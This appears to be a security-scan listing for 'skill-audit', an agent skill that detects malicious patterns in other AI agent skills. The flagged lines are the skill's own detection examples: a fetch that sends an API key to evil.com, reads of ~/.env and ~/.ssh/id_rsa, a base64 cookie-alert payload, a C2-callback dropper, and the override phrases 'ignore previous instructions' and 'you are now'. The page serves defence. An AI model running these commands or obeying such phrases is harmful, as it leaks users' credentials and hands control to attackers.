skill-audit
This skill audits third-party AI agent skills for security risks, ensuring safe installations by detecting malicious patterns.
Install this skill
Security score
The skill-audit skill was audited on May 14, 2026 and we found 15 security issues across 5 threat categories, including 2 critical. Review the findings below before installing.
Categories Tested
Security Issues
Fetch to external URL
| 132 | | External data exfil | `fetch('http://evil.com?token=' + env.API_KEY)` | Credential theft | |
Access to hidden dotfiles in home directory
| 44 | - Credential reads: `~/.env`, `process.env` + network calls |
Access to hidden dotfiles in home directory
| 92 | - References ~/.env |
Access to hidden dotfiles in home directory
| 101 | - But reads ~/.ssh/id_rsa |
Access to hidden dotfiles in home directory
| 135 | | Credential reads | `~/.env`, `process.env` + network | Key theft | |
Access to SSH directory
| 101 | - But reads ~/.ssh/id_rsa |
Access to .env file
| 44 | - Credential reads: `~/.env`, `process.env` + network calls |
Access to .env file
| 92 | - References ~/.env |
Access to .env file
| 135 | | Credential reads | `~/.env`, `process.env` + network | Key theft | |
Base64 decode operation
| 153 | 1. **Base64 dropper**: "Excel Import Helper" → decoded to C2 server callback |
Base64 decode via atob()
| 43 | - Encoded payloads: `atob()`, base64 strings |
Base64 decode via atob()
| 134 | | Encoded payloads | `atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ==')` | Hidden commands | |
Prompt injection: ignore instructions
| 40 | - Instruction overrides: `ignore previous instructions`, `you are now...` |
Prompt injection: ignore instructions
| 131 | | Instruction override | `ignore previous instructions` | Agent takeover | |
External URL reference
| 132 | | External data exfil | `fetch('http://evil.com?token=' + env.API_KEY)` | Credential theft | |